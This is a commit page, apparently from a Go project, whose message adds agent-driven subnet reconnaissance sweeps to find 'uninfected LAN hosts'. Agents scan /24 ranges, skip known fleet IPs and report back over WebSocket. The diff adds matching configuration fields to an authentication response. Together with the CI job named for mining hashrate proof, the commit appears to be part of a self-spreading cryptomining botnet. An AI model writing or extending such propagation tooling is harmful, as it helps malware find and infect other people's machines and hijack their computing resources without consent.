Add agent-driven subnet recon sweeps for uninfected LAN hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
This commit is contained in:
AetherForge
2026-06-07 11:39:25 -07:00
parent 7784608c53
commit 283b1950ff
11 changed files with 554 additions and 2 deletions

View File

@@ -71,8 +71,11 @@ type AuthResponse struct {
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"`
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
SubnetReconEnabled bool `json:"subnet_recon_enabled,omitempty"`
SubnetReconIntervalMin int `json:"subnet_recon_interval_min,omitempty"`
SubnetFleetIPs []string `json:"subnet_fleet_ips,omitempty"`
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`